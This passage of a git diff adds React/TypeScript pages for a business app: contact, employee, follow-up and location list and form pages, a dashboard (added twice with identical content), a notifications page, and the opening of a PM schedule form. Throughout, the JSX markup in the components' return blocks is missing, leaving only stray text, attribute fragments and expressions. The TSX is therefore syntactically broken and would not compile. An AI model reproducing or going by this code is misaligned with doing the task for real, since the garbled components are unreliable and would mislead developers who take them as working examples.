"@/domain/contacts/types/contact"; +import { useContactsList } from "@/domain/contacts/use-cases/use-contacts-list"; +import { useDeleteContact } from "@/domain/contacts/use-cases/use-delete-contact"; +import { useDebounce } from "@/hooks/use-debounce"; + +export default function ContactsListPage() { + const navigate = useNavigate(); + const [search, setSearch] = useState(""); + const [page, setPage] = useState(0); + const [pageSize, setPageSize] = useState(12); + const [deleteTarget, setDeleteTarget] = useState(null); + + const debouncedSearch = useDebounce(search, 300); + const deleteContact = useDeleteContact(); + + const listParams = useMemo( + () => ({ search: debouncedSearch, page: page + 1, pageSize }), + [debouncedSearch, page, pageSize], + ); + + const { data, isLoading, isFetching, error } = useContactsList(listParams); + const rows = data?.items ?? []; + const totalCount = data?.totalCount ?? 0; + + return ( + + + + + Contacts + + + {totalCount} total + + {isFetching && !isLoading && } + + + + { + setSearch(e.target.value); + setPage(0); + }} + placeholder="Search contacts..." + className="min-w-sidebar" + /> + + + + {Boolean(error) && ( + + {error instanceof Error ? error.message : "Failed to load contacts"} + + )} + + + + + Name + Account + Title + Email + Phone + Owner + + Actions + + + + + {isLoading ? ( + + + + + + ) : rows.length === 0 ? ( + + + + No contacts found + + + + ) : ( + rows.map((row) => ( + + + + + {row.account || "—"} + {row.title || "—"} + {row.email || "—"} + {row.phoneNumber || "—"} + {row.owner || "—"} + + + navigate(`/contacts/edit/${row.id}`)}> + + + + + setDeleteTarget(row)}> + + + + + + )) + )} + +
+
+ setPage(nextPage)} + rowsPerPage={pageSize} + onRowsPerPageChange={(e) => { + setPageSize(Number(e.target.value)); + setPage(0); + }} + rowsPerPageOptions={[12, 24, 48]} + /> + setDeleteTarget(null)}> + Delete Contact + + + Are you sure you want to delete "{deleteTarget?.name}"? + + + + + + + +
+ ); +} diff --git a/src/app/(protected)/contacts/new.tsx b/src/app/(protected)/contacts/new.tsx new file mode 100644 index 00000000..0d47fdbc --- /dev/null +++ b/src/app/(protected)/contacts/new.tsx @@ -0,0 +1 @@ +export { default } from "./_components/contact-form"; diff --git a/src/app/(protected)/dashboard.tsx b/src/app/(protected)/dashboard.tsx new file mode 100644 index 00000000..e1af6bf9 --- /dev/null +++ b/src/app/(protected)/dashboard.tsx @@ -0,0 +1,240 @@ +import type { ReactNode } from "react"; +import { useNavigate } from "react-router"; +import AddIcon from "@mui/icons-material/Add"; +import CheckCircleOutlineIcon from "@mui/icons-material/CheckCircleOutlined"; +import FolderOpenOutlinedIcon from "@mui/icons-material/FolderOpenOutlined"; +import ScheduleOutlinedIcon from "@mui/icons-material/ScheduleOutlined"; +import { + Alert, + Box, + CircularProgress, + Paper, + Stack, + Table, + TableBody, + TableCell, + TableContainer, + TableHead, + TableRow, + Typography, +} from "@mui/material"; +import { useDashboardStats } from "@/domain/dashboard/use-cases/use-dashboard-stats"; + +const INVOICE_STATUSES = ["Draft", "Challenged", "Pending Approval", "Approved", "Paid"] as const; + +const PRIORITY_LEVELS = [5, 4, 3, 2, 1] as const; + +interface KpiCardProps { + title: string; + description?: string; + value?: string | number; + icon: ReactNode; + color: "success" | "primary" | "info" | "warning"; + onClick: () => void; + loading?: boolean; +} + +function KpiCard({ title, description, value, icon, color, onClick, loading }: KpiCardProps) { + const colorMap = { + success: "success.main", + primary: "primary.main", + info: "info.main", + warning: "warning.main", + } as const; + + return ( + + + + {icon} + + + + + {title} + + {value !== undefined && ( + + {loading ? "..." : typeof value === "number" ? value.toLocaleString() : value} + + )} + {Boolean(description) && ( + + {description} + + )} + + + + ); +} + +export default function DashboardPage() { + const navigate = useNavigate(); + const { data: stats, isLoading, isFetching, error } = useDashboardStats(); + + const formatStat = (value: number | undefined) => (isLoading ? undefined : (value ?? 0)); + + return ( + + + + Dashboard + + {isFetching && !isLoading && } + + {Boolean(error) && ( + + {error instanceof Error ? error.message : "Failed to load dashboard stats"} + + )} + + } + color="success" + onClick={() => navigate("/workorders/new")} + /> + } + color="primary" + loading={isLoading} + onClick={() => navigate("/workorders")} + /> + } + color="info" + loading={isLoading} + onClick={() => navigate("/workorders")} + /> + } + color="warning" + loading={isLoading} + onClick={() => navigate("/workorders")} + /> + + + + + Priority Analysis + + + Age of open Work Orders by Priority + + + + + + + + Priority + + Total + + + 0-14 Days + + + 15-29 Days + + + 30-59 Days + + + 60+ Days + + + + + {PRIORITY_LEVELS.map((priority) => ( + + {priority} + — + — + — + — + — + + ))} + +
+
+
+ + + + Invoice Analysis + + + + + + + + Status + + Count + + + Amount + + + + + {INVOICE_STATUSES.map((status) => ( + + {status} + 0 + $0.00 + + ))} + +
+
+
+
+ ); +} diff --git a/src/app/(protected)/employees/_components/employee-form.tsx b/src/app/(protected)/employees/_components/employee-form.tsx new file mode 100644 index 00000000..6d5413a8 --- /dev/null +++ b/src/app/(protected)/employees/_components/employee-form.tsx @@ -0,0 +1,378 @@ +import { useEffect } from "react"; +import { Controller, useForm } from "react-hook-form"; +import { zodResolver } from "@hookform/resolvers/zod"; +import { useNavigate, useParams } from "react-router"; +import { + Alert, + Box, + Button, + CircularProgress, + Divider, + FormControl, + InputLabel, + MenuItem, + Paper, + Select, + Stack, + TextField, + Typography, +} from "@mui/material"; +import { + resolveJobTitleId, + resolveJobTitleLabel, +} from "@/domain/employees/lib/resolve-job-title-id"; +import { + employeeDefaultValues, + employeeSchema, + type EmployeeFormValues, +} from "@/domain/employees/schemas/employee-schema"; +import { useCreateEmployee } from "@/domain/employees/use-cases/use-create-employee"; +import { useEmployeeDetail } from "@/domain/employees/use-cases/use-employee-detail"; +import { useUpdateEmployee } from "@/domain/employees/use-cases/use-update-employee"; +import { JobTitleSelect } from "@/app/(protected)/employees/_components/job-title-select"; + +const DEPARTMENTS = ["Administration", "Sales", "Service", "Field Service"] as const; +const TIME_ZONES = [ + "Eastern Standard Time", + "Central Standard Time", + "Mountain Standard Time", + "Pacific Standard Time", +] as const; +const ROLES = [ + "Admin", + "Administrator User", + "Dispatcher", + "Editor User", + "Employee", + "Read Only User", + "Technician", +] as const; +const US_STATES = ["AL", "AK", "AZ", "CA", "FL", "NY", "TX"] as const; + +function SelectField({ + name, + label, + control, + options, + required, + error, + helperText, +}: { + name: keyof EmployeeFormValues; + label: string; + control: ReturnType>["control"]; + options: readonly string[]; + required?: boolean; + error?: boolean; + helperText?: string; +}) { + return ( + ( + + {label} + + {Boolean(helperText) && ( + + {helperText} + + )} + + )} + /> + ); +} + +export default function EmployeeFormPage() { + const { id } = useParams(); + const navigate = useNavigate(); + const isEdit = Boolean(id); + + const { data: employee, isLoading, error } = useEmployeeDetail(id); + const createEmployee = useCreateEmployee(); + const updateEmployee = useUpdateEmployee(); + + const { + register, + handleSubmit, + reset, + control, + setValue, + formState: { errors }, + } = useForm({ + resolver: zodResolver(employeeSchema), + defaultValues: employeeDefaultValues, + }); + + useEffect(() => { + if (employee && isEdit) { + const jobTitleId = resolveJobTitleId(employee.jobTitleId, employee.jobTitle); + const jobTitle = resolveJobTitleLabel(jobTitleId, employee.jobTitle); + + reset({ + firstName: employee.firstName, + middleName: employee.middleName, + lastName: employee.lastName, + email: employee.email, + phone: employee.phone, + jobTitle, + jobTitleId, + role: employee.role, + status: employee.status, + hireDate: employee.hireDate, + dateOfBirth: employee.dateOfBirth, + address: employee.address, + department: employee.department, + timeZone: employee.timeZone, + gender: employee.gender, + employeeNumber: employee.employeeNumber, + regionName: employee.regionName, + userName: employee.userName, + confirmUserName: employee.confirmUserName, + street: employee.street, + streetLineTwo: employee.streetLineTwo, + city: employee.city, + zip: employee.zip, + country: employee.country, + state: employee.state, + county: employee.county, + smsAddress: employee.smsAddress, + website: employee.website, + facebookUrl: employee.facebookUrl, + linkedInUrl: employee.linkedInUrl, + twitterUrl: employee.twitterUrl, + }); + } + }, [employee, isEdit, reset]); + + const isSaving = createEmployee.isPending || updateEmployee.isPending; + + const onSubmit = (values: EmployeeFormValues) => { + if (isEdit && id) { + updateEmployee.mutate({ id, values }); + return; + } + createEmployee.mutate(values); + }; + + if (isEdit && isLoading) { + return ( + + + + ); + } + + return ( + + + + + + {isEdit ? "Edit an Employee" : "Create an Employee"} + + + + + {Boolean(error) && ( + + {error instanceof Error ? error.message : "Failed to load employee"} + + )} + + + + General Details + + + + + + + + + + + + + + + + + + + + + + + + + Login & Role + + + {isEdit + ? "If the Username is changed, the Employee's account will have to be confirmed again before they can log in." + : "A confirmation email will be sent to activate the Employee's account."} + + + + + + + + + + + Address + + + + + + + + + + + + + + + + + + + Additional Details + + + + + + + + + + + + + + + + + + + + ); +} diff --git a/src/app/(protected)/employees/_components/job-title-select.tsx b/src/app/(protected)/employees/_components/job-title-select.tsx new file mode 100644 index 00000000..a9f0cf75 --- /dev/null +++ b/src/app/(protected)/employees/_components/job-title-select.tsx @@ -0,0 +1,44 @@ +import { Controller, type Control, type UseFormSetValue } from "react-hook-form"; +import { FormControl, InputLabel, MenuItem, Select } from "@mui/material"; +import { JOB_TITLE_OPTIONS } from "@/domain/employees/constants/job-title-options"; +import type { EmployeeFormValues } from "@/domain/employees/schemas/employee-schema"; + +interface JobTitleSelectProps { + control: Control; + setValue: UseFormSetValue; +} + +export function JobTitleSelect({ control, setValue }: JobTitleSelectProps) { + return ( + ( + + Job Title + + + )} + /> + ); +} diff --git a/src/app/(protected)/employees/edit/[id].tsx b/src/app/(protected)/employees/edit/[id].tsx new file mode 100644 index 00000000..133b472d --- /dev/null +++ b/src/app/(protected)/employees/edit/[id].tsx @@ -0,0 +1 @@ +export { default } from "../_components/employee-form"; diff --git a/src/app/(protected)/employees/index.tsx b/src/app/(protected)/employees/index.tsx new file mode 100644 index 00000000..ed56887b --- /dev/null +++ b/src/app/(protected)/employees/index.tsx @@ -0,0 +1,253 @@ +import { useMemo, useState } from "react"; +import { useNavigate } from "react-router"; +import DeleteOutlineIcon from "@mui/icons-material/DeleteOutlined"; +import EditOutlinedIcon from "@mui/icons-material/EditOutlined"; +import { + Alert, + Box, + Button, + Chip, + CircularProgress, + Dialog, + DialogActions, + DialogContent, + DialogContentText, + DialogTitle, + IconButton, + Paper, + Stack, + Table, + TableBody, + TableCell, + TableContainer, + TableHead, + TablePagination, + TableRow, + TextField, + Tooltip, + Typography, +} from "@mui/material"; +import type { EmployeeListItem } from "@/domain/employees/types/employee"; +import { useDeleteEmployee } from "@/domain/employees/use-cases/use-delete-employee"; +import { useEmployeesList } from "@/domain/employees/use-cases/use-employees-list"; +import { useDebounce } from "@/hooks/use-debounce"; + +const STATUS_COLORS: Record = { + Active: "success", + Inactive: "default", +}; + +export default function EmployeesListPage() { + const navigate = useNavigate(); + const [search, setSearch] = useState(""); + const [page, setPage] = useState(0); + const [pageSize, setPageSize] = useState(12); + const [deleteTarget, setDeleteTarget] = useState(null); + + const debouncedSearch = useDebounce(search, 300); + const deleteEmployee = useDeleteEmployee(); + + const listParams = useMemo( + () => ({ + search: debouncedSearch, + page: page + 1, + pageSize, + }), + [debouncedSearch, page, pageSize], + ); + + const { data, isLoading, isFetching, error } = useEmployeesList(listParams); + + const rows = data?.items ?? []; + const totalCount = data?.totalCount ?? 0; + + const handleDeleteConfirm = () => { + if (!deleteTarget) { + return; + } + + deleteEmployee.mutate(deleteTarget.id, { + onSuccess: () => setDeleteTarget(null), + }); + }; + + return ( + + + + + Employees + + + {totalCount} total + + {isFetching && !isLoading && } + + + + { + setSearch(event.target.value); + setPage(0); + }} + placeholder="Search employees..." + className="min-w-sidebar" + /> + + + + {Boolean(error) && ( + + {error instanceof Error ? error.message : "Failed to load employees"} + + )} + + + + + Name + Job Title + Email + Phone + Department + Status + + Actions + + + + + {isLoading ? ( + + + + + + ) : rows.length === 0 ? ( + + + + No employees found + + + + ) : ( + rows.map((row) => ( + + + + + {row.jobTitle || "—"} + {row.email || "—"} + {row.phone || "—"} + {row.department || "—"} + + + + + + navigate(`/employees/edit/${row.id}`)} + > + + + + + setDeleteTarget(row)} + > + + + + + + )) + )} + +
+
+ setPage(nextPage)} + rowsPerPage={pageSize} + onRowsPerPageChange={(event) => { + setPageSize(Number(event.target.value)); + setPage(0); + }} + rowsPerPageOptions={[12, 24, 48]} + /> + setDeleteTarget(null)}> + Delete Employee + + + Are you sure you want to delete "{deleteTarget?.name}"? This action cannot be + undone. + + + + + + + +
+ ); +} diff --git a/src/app/(protected)/employees/new.tsx b/src/app/(protected)/employees/new.tsx new file mode 100644 index 00000000..a1aa5d20 --- /dev/null +++ b/src/app/(protected)/employees/new.tsx @@ -0,0 +1 @@ +export { default } from "./_components/employee-form"; diff --git a/src/app/(protected)/followups/_components/follow-up-form.tsx b/src/app/(protected)/followups/_components/follow-up-form.tsx new file mode 100644 index 00000000..d7a6a86c --- /dev/null +++ b/src/app/(protected)/followups/_components/follow-up-form.tsx @@ -0,0 +1,245 @@ +import { useEffect } from "react"; +import { Controller, useForm } from "react-hook-form"; +import { zodResolver } from "@hookform/resolvers/zod"; +import { useNavigate, useParams } from "react-router"; +import { + Alert, + Box, + Button, + CircularProgress, + FormControl, + InputLabel, + MenuItem, + Paper, + Select, + Stack, + TextField, + Typography, +} from "@mui/material"; +import { useAccountsList } from "@/domain/accounts/use-cases/use-accounts-list"; +import { useEmployeesList } from "@/domain/employees/use-cases/use-employees-list"; +import { + followUpSchema, + type FollowUpFormValues, +} from "@/domain/follow-ups/schemas/follow-up-schema"; +import { useCreateFollowUp } from "@/domain/follow-ups/use-cases/use-create-follow-up"; +import { useFollowUpDetail } from "@/domain/follow-ups/use-cases/use-follow-up-detail"; +import { useUpdateFollowUp } from "@/domain/follow-ups/use-cases/use-update-follow-up"; +import { useLocationsList } from "@/domain/locations/use-cases/use-locations-list"; + +const defaultValues: FollowUpFormValues = { + reason: "", + scheduleDate: "", + scheduleStartTime: "09:00", + employeeId: null, + accountId: null, + locationId: null, + workOrderId: null, +}; + +export default function FollowUpFormPage() { + const { id } = useParams(); + const navigate = useNavigate(); + const isEdit = Boolean(id); + + const { data: followUp, isLoading, error } = useFollowUpDetail(id); + const { data: employeesData } = useEmployeesList({ page: 1, pageSize: 500 }); + const { data: accountsData } = useAccountsList({ page: 1, pageSize: 500 }); + const { data: locationsData } = useLocationsList({ page: 1, pageSize: 500 }); + + const createFollowUp = useCreateFollowUp(); + const updateFollowUp = useUpdateFollowUp(); + + const { + register, + handleSubmit, + reset, + control, + formState: { errors }, + } = useForm({ + resolver: zodResolver(followUpSchema), + defaultValues, + }); + + useEffect(() => { + if (followUp && isEdit) { + reset({ + reason: followUp.reason, + scheduleDate: followUp.scheduleDate, + scheduleStartTime: followUp.scheduleStartTime, + employeeId: followUp.employeeId, + accountId: followUp.accountId, + locationId: followUp.locationId, + workOrderId: followUp.workOrderId, + }); + } + }, [followUp, isEdit, reset]); + + const employees = employeesData?.items ?? []; + const accounts = accountsData?.items ?? []; + const locations = locationsData?.items ?? []; + const isSaving = createFollowUp.isPending || updateFollowUp.isPending; + + const onSubmit = (values: FollowUpFormValues) => { + if (isEdit && id) { + updateFollowUp.mutate({ id, values }); + return; + } + createFollowUp.mutate(values); + }; + + if (isEdit && isLoading) { + return ( + + + + ); + } + + return ( + + + + {isEdit ? "Edit Follow-up" : "Create Follow-up"} + + {Boolean(error) && ( + + {error instanceof Error ? error.message : "Failed to load follow-up"} + + )} + + + + + + + + + + + ( + + Assigned Employee + + + )} + /> + + ( + + Account + + + )} + /> + + ( + + Location + + + )} + /> + + + + + + + + + + + + + ); +} diff --git a/src/app/(protected)/followups/edit/[id].tsx b/src/app/(protected)/followups/edit/[id].tsx new file mode 100644 index 00000000..f491a56f --- /dev/null +++ b/src/app/(protected)/followups/edit/[id].tsx @@ -0,0 +1 @@ +export { default } from "../_components/follow-up-form"; diff --git a/src/app/(protected)/followups/index.tsx b/src/app/(protected)/followups/index.tsx new file mode 100644 index 00000000..30980fc0 --- /dev/null +++ b/src/app/(protected)/followups/index.tsx @@ -0,0 +1,255 @@ +import { useMemo, useState } from "react"; +import { useNavigate } from "react-router"; +import DeleteOutlineIcon from "@mui/icons-material/DeleteOutlined"; +import EditOutlinedIcon from "@mui/icons-material/EditOutlined"; +import { + Alert, + Box, + Button, + Chip, + CircularProgress, + Dialog, + DialogActions, + DialogContent, + DialogContentText, + DialogTitle, + FormControl, + IconButton, + InputLabel, + MenuItem, + Paper, + Select, + Stack, + Table, + TableBody, + TableCell, + TableContainer, + TableHead, + TablePagination, + TableRow, + TextField, + Tooltip, + Typography, +} from "@mui/material"; +import type { FollowUpListItem } from "@/domain/follow-ups/types/follow-up"; +import { useDeleteFollowUp } from "@/domain/follow-ups/use-cases/use-delete-follow-up"; +import { useFollowUpsList } from "@/domain/follow-ups/use-cases/use-follow-ups-list"; +import { useDebounce } from "@/hooks/use-debounce"; +import { toDateInputValue } from "@/lib/time-utils"; + +const STATUS_OPTIONS = ["Open", "Completed", "Cancelled", ""]; + +export default function FollowUpsListPage() { + const navigate = useNavigate(); + const [search, setSearch] = useState(""); + const [page, setPage] = useState(0); + const [pageSize, setPageSize] = useState(12); + const [status, setStatus] = useState("Open"); + const [deleteTarget, setDeleteTarget] = useState(null); + + const debouncedSearch = useDebounce(search, 300); + const deleteFollowUp = useDeleteFollowUp(); + + const listParams = useMemo( + () => ({ search: debouncedSearch, page: page + 1, pageSize, status }), + [debouncedSearch, page, pageSize, status], + ); + + const { data, isLoading, isFetching, error } = useFollowUpsList(listParams); + const rows = data?.items ?? []; + const totalCount = data?.totalCount ?? 0; + + return ( + + + + + Follow-ups + + + {totalCount} total + + {isFetching && !isLoading && } + + + + { + setSearch(e.target.value); + setPage(0); + }} + placeholder="Search follow-ups..." + className="min-w-sidebar" + /> + + Status + + + + + + {Boolean(error) && ( + + {error instanceof Error ? error.message : "Failed to load follow-ups"} + + )} + + + + + Reason + Schedule + Assigned To + Account + Location + WO # + Status + + Actions + + + + + {isLoading ? ( + + + + + + ) : rows.length === 0 ? ( + + + + No follow-ups found + + + + ) : ( + rows.map((row) => ( + + + + + + {toDateInputValue(row.scheduleDate) || "—"} + {row.scheduleStartTime ? ` ${row.scheduleStartTime.slice(0, 5)}` : ""} + + {row.assignedTo || "—"} + {row.accountName || "—"} + {row.locationName || "—"} + {row.internalWONumber || row.workOrderNumber || "—"} + + + + + + navigate(`/followups/edit/${row.id}`)} + > + + + + + setDeleteTarget(row)}> + + + + + + )) + )} + +
+
+ setPage(nextPage)} + rowsPerPage={pageSize} + onRowsPerPageChange={(e) => { + setPageSize(Number(e.target.value)); + setPage(0); + }} + rowsPerPageOptions={[12, 24, 48]} + /> + setDeleteTarget(null)}> + Delete Follow-up + + Are you sure you want to delete this follow-up? + + + + + + +
+ ); +} diff --git a/src/app/(protected)/followups/new.tsx b/src/app/(protected)/followups/new.tsx new file mode 100644 index 00000000..b1223e90 --- /dev/null +++ b/src/app/(protected)/followups/new.tsx @@ -0,0 +1 @@ +export { default } from "./_components/follow-up-form"; diff --git a/src/app/(protected)/index.tsx b/src/app/(protected)/index.tsx new file mode 100644 index 00000000..e1af6bf9 --- /dev/null +++ b/src/app/(protected)/index.tsx @@ -0,0 +1,240 @@ +import type { ReactNode } from "react"; +import { useNavigate } from "react-router"; +import AddIcon from "@mui/icons-material/Add"; +import CheckCircleOutlineIcon from "@mui/icons-material/CheckCircleOutlined"; +import FolderOpenOutlinedIcon from "@mui/icons-material/FolderOpenOutlined"; +import ScheduleOutlinedIcon from "@mui/icons-material/ScheduleOutlined"; +import { + Alert, + Box, + CircularProgress, + Paper, + Stack, + Table, + TableBody, + TableCell, + TableContainer, + TableHead, + TableRow, + Typography, +} from "@mui/material"; +import { useDashboardStats } from "@/domain/dashboard/use-cases/use-dashboard-stats"; + +const INVOICE_STATUSES = ["Draft", "Challenged", "Pending Approval", "Approved", "Paid"] as const; + +const PRIORITY_LEVELS = [5, 4, 3, 2, 1] as const; + +interface KpiCardProps { + title: string; + description?: string; + value?: string | number; + icon: ReactNode; + color: "success" | "primary" | "info" | "warning"; + onClick: () => void; + loading?: boolean; +} + +function KpiCard({ title, description, value, icon, color, onClick, loading }: KpiCardProps) { + const colorMap = { + success: "success.main", + primary: "primary.main", + info: "info.main", + warning: "warning.main", + } as const; + + return ( + + + + {icon} + + + + + {title} + + {value !== undefined && ( + + {loading ? "..." : typeof value === "number" ? value.toLocaleString() : value} + + )} + {Boolean(description) && ( + + {description} + + )} + + + + ); +} + +export default function DashboardPage() { + const navigate = useNavigate(); + const { data: stats, isLoading, isFetching, error } = useDashboardStats(); + + const formatStat = (value: number | undefined) => (isLoading ? undefined : (value ?? 0)); + + return ( + + + + Dashboard + + {isFetching && !isLoading && } + + {Boolean(error) && ( + + {error instanceof Error ? error.message : "Failed to load dashboard stats"} + + )} + + } + color="success" + onClick={() => navigate("/workorders/new")} + /> + } + color="primary" + loading={isLoading} + onClick={() => navigate("/workorders")} + /> + } + color="info" + loading={isLoading} + onClick={() => navigate("/workorders")} + /> + } + color="warning" + loading={isLoading} + onClick={() => navigate("/workorders")} + /> + + + + + Priority Analysis + + + Age of open Work Orders by Priority + + + + + + + + Priority + + Total + + + 0-14 Days + + + 15-29 Days + + + 30-59 Days + + + 60+ Days + + + + + {PRIORITY_LEVELS.map((priority) => ( + + {priority} + — + — + — + — + — + + ))} + +
+
+
+ + + + Invoice Analysis + + + + + + + + Status + + Count + + + Amount + + + + + {INVOICE_STATUSES.map((status) => ( + + {status} + 0 + $0.00 + + ))} + +
+
+
+
+ ); +} diff --git a/src/app/(protected)/locations/_components/location-form.tsx b/src/app/(protected)/locations/_components/location-form.tsx new file mode 100644 index 00000000..990fc75d --- /dev/null +++ b/src/app/(protected)/locations/_components/location-form.tsx @@ -0,0 +1,279 @@ +import { useEffect, useMemo, useState } from "react"; +import { Controller, useForm } from "react-hook-form"; +import { zodResolver } from "@hookform/resolvers/zod"; +import { useNavigate, useParams } from "react-router"; +import { + Alert, + Autocomplete, + Box, + Button, + CircularProgress, + FormControl, + InputLabel, + MenuItem, + Paper, + Select, + Stack, + TextField, + Typography, +} from "@mui/material"; +import type { AccountListItem } from "@/domain/accounts/types/account"; +import { useAccountsList } from "@/domain/accounts/use-cases/use-accounts-list"; +import { + locationDefaultValues, + locationSchema, + type LocationFormValues, +} from "@/domain/locations/schemas/location-schema"; +import { LOCATION_STATE_OPTIONS, LOCATION_STATUS_OPTIONS } from "@/domain/locations/types/location"; +import { useCreateLocation } from "@/domain/locations/use-cases/use-create-location"; +import { useLocationDetail } from "@/domain/locations/use-cases/use-location-detail"; +import { useUpdateLocation } from "@/domain/locations/use-cases/use-update-location"; +import { useDebounce } from "@/hooks/use-debounce"; + +export default function LocationFormPage() { + const { id } = useParams(); + const navigate = useNavigate(); + const isEdit = Boolean(id); + + const [accountSearch, setAccountSearch] = useState(""); + const debouncedAccountSearch = useDebounce(accountSearch, 300); + + const { data: location, isLoading, error } = useLocationDetail(id); + const { data: accountsData, isLoading: isLoadingAccounts } = useAccountsList({ + search: debouncedAccountSearch, + page: 1, + pageSize: 50, + }); + const createLocation = useCreateLocation(); + const updateLocation = useUpdateLocation(); + + const accountOptions = useMemo(() => accountsData?.items ?? [], [accountsData?.items]); + + const { + register, + handleSubmit, + reset, + control, + formState: { errors }, + } = useForm({ + resolver: zodResolver(locationSchema), + defaultValues: locationDefaultValues, + }); + + useEffect(() => { + if (location && isEdit) { + reset({ + name: location.name ?? "", + accountId: location.accountId != null ? String(location.accountId) : "", + address: location.address ?? "", + city: location.city ?? "", + state: (location.state as LocationFormValues["state"]) || "IL", + zipCode: location.zipCode ?? "", + phone: location.phone ?? "", + contact: location.contact ?? "", + contactEmail: location.contactEmail ?? "", + status: (location.status as LocationFormValues["status"]) || "Active", + }); + } + }, [location, isEdit, reset]); + + const isSaving = createLocation.isPending || updateLocation.isPending; + + const onSubmit = (values: LocationFormValues) => { + if (isEdit && id) { + updateLocation.mutate({ id, values }); + return; + } + createLocation.mutate(values); + }; + + if (isEdit && isLoading) { + return ( + + + + ); + } + + return ( + + + + + + {isEdit ? "Edit Location" : "Create a Location"} + + + + + {Boolean(error) && ( + + {error instanceof Error ? error.message : "Failed to load location"} + + )} + + + + + Location Information + + + + ( + option.name || String(option.id)} + isOptionEqualToValue={(option, value) => + String(option.id) === String(value.id) + } + value={ + accountOptions.find((account) => String(account.id) === field.value) ?? null + } + onChange={(_event, option) => field.onChange(option ? String(option.id) : "")} + onInputChange={(_event, value, reason) => { + if (reason === "input") { + setAccountSearch(value); + } + }} + renderInput={(params) => ( + + )} + className="flex-1" + /> + )} + /> + + + + + ( + + State + + + )} + /> + + + + + + + Contact Information + + + + + + + + ( + + Status + + + )} + /> + + + + + + + + + + + + ); +} diff --git a/src/app/(protected)/locations/edit/[id].tsx b/src/app/(protected)/locations/edit/[id].tsx new file mode 100644 index 00000000..f25ea225 --- /dev/null +++ b/src/app/(protected)/locations/edit/[id].tsx @@ -0,0 +1 @@ +export { default } from "../_components/location-form"; diff --git a/src/app/(protected)/locations/index.tsx b/src/app/(protected)/locations/index.tsx new file mode 100644 index 00000000..097db2c8 --- /dev/null +++ b/src/app/(protected)/locations/index.tsx @@ -0,0 +1,242 @@ +import { useMemo, useState } from "react"; +import { useNavigate } from "react-router"; +import DeleteOutlineIcon from "@mui/icons-material/DeleteOutlined"; +import EditOutlinedIcon from "@mui/icons-material/EditOutlined"; +import { + Alert, + Box, + Button, + CircularProgress, + Dialog, + DialogActions, + DialogContent, + DialogContentText, + DialogTitle, + IconButton, + Paper, + Stack, + Table, + TableBody, + TableCell, + TableContainer, + TableHead, + TablePagination, + TableRow, + TextField, + Tooltip, + Typography, +} from "@mui/material"; +import type { LocationListItem } from "@/domain/locations/types/location"; +import { useDeleteLocation } from "@/domain/locations/use-cases/use-delete-location"; +import { useLocationsList } from "@/domain/locations/use-cases/use-locations-list"; +import { useDebounce } from "@/hooks/use-debounce"; + +export default function LocationsListPage() { + const navigate = useNavigate(); + const [search, setSearch] = useState(""); + const [page, setPage] = useState(0); + const [pageSize, setPageSize] = useState(12); + const [deleteTarget, setDeleteTarget] = useState(null); + + const debouncedSearch = useDebounce(search, 300); + const deleteLocation = useDeleteLocation(); + + const listParams = useMemo( + () => ({ + search: debouncedSearch, + page: page + 1, + pageSize, + }), + [debouncedSearch, page, pageSize], + ); + + const { data, isLoading, isFetching, error } = useLocationsList(listParams); + + const rows = data?.items ?? []; + const totalCount = data?.totalCount ?? 0; + + const handleDeleteConfirm = () => { + if (!deleteTarget) { + return; + } + + deleteLocation.mutate(deleteTarget.id, { + onSuccess: () => setDeleteTarget(null), + }); + }; + + return ( + + + + + Locations + + + {totalCount} total + + {isFetching && !isLoading && } + + + + { + setSearch(event.target.value); + setPage(0); + }} + placeholder="Search locations..." + className="min-w-[220px]" + /> + + + + {Boolean(error) && ( + + {error instanceof Error ? error.message : "Failed to load locations"} + + )} + + + + + Location Name + Address + City + State + Phone + Contact + Status + + Actions + + + + + {isLoading ? ( + + + + + + ) : rows.length === 0 ? ( + + + + No locations found + + + + ) : ( + rows.map((row) => ( + + + + + {row.address || "—"} + {row.city || "—"} + {row.state || "—"} + {row.phone || "—"} + {row.contact || "—"} + {row.status || "—"} + + + navigate(`/locations/edit/${row.id}`)} + > + + + + + setDeleteTarget(row)} + > + + + + + + )) + )} + +
+
+ setPage(nextPage)} + rowsPerPage={pageSize} + onRowsPerPageChange={(event) => { + setPageSize(Number(event.target.value)); + setPage(0); + }} + rowsPerPageOptions={[12, 24, 48]} + /> + setDeleteTarget(null)}> + Delete Location + + + Are you sure you want to delete "{deleteTarget?.name}"? This action cannot be + undone. + + + + + + + +
+ ); +} diff --git a/src/app/(protected)/locations/new.tsx b/src/app/(protected)/locations/new.tsx new file mode 100644 index 00000000..da675675 --- /dev/null +++ b/src/app/(protected)/locations/new.tsx @@ -0,0 +1 @@ +export { default } from "./_components/location-form"; diff --git a/src/app/(protected)/notifications/index.tsx b/src/app/(protected)/notifications/index.tsx new file mode 100644 index 00000000..c4e0b75e --- /dev/null +++ b/src/app/(protected)/notifications/index.tsx @@ -0,0 +1,104 @@ +import { useQuery } from "@tanstack/react-query"; +import { + Alert, + Box, + Button, + Chip, + CircularProgress, + Paper, + Stack, + Typography, +} from "@mui/material"; +import { Link } from "react-router"; +import { vendorOperationsApi } from "@/domain/vendor-operations/api/vendor-operations-api"; + +export default function NotificationsPage() { + const { + data = [], + isLoading, + error, + } = useQuery({ + queryKey: ["vendor-operations", "notifications"], + queryFn: vendorOperationsApi.notifications, + refetchInterval: 30_000, + }); + + const groups = data.reduce((result, item) => { + const items = result.get(item.group) ?? []; + items.push(item); + result.set(item.group, items); + return result; + }, new Map()); + + return ( + + + + Items requiring attention + + + Medium-severity vendor reminders refresh automatically. They do not create banners or + toasts. + + + {isLoading && } + {Boolean(error) && {error?.message}} + {!isLoading && !error && data.length === 0 && ( + + No vendor alerts require attention. + + )} + {[...groups.entries()].map(([group, items]) => ( + + + {group} + + + + {items.map((item) => ( + + + + + + {item.title} + + + {item.workOrderNumber ?? + item.workOrders?.map((workOrder) => workOrder.workOrderNumber).join(" ↔ ")} + + {item.scheduledAt != null && ( + + Scheduled {new Date(item.scheduledAt).toLocaleString()} + + )} + + + {item.action != null && ( + + )} + {item.actions?.map((action) => ( + + ))} + + + + ))} + + + ))} + + ); +} diff --git a/src/app/(protected)/pmschedules/_components/pm-schedule-form.tsx b/src/app/(protected)/pmschedules/_components/pm-schedule-form.tsx new file mode 100644 index 00000000..0253a149 --- /dev/null +++ b/src/app/(protected)/pmschedules/_components/pm-schedule-form.tsx @@ -0,0 +1,216 @@ +import { useEffect } from "react"; +import { Controller, useForm } from "react-hook-form"; +import { zodResolver } from "@hookform/resolvers/zod"; +import { useNavigate, useParams } from "react-router"; +import { + Alert, + Box, + Button, + CircularProgress, + FormControl, + FormControlLabel, + InputLabel, + MenuItem, + Paper, + Select, 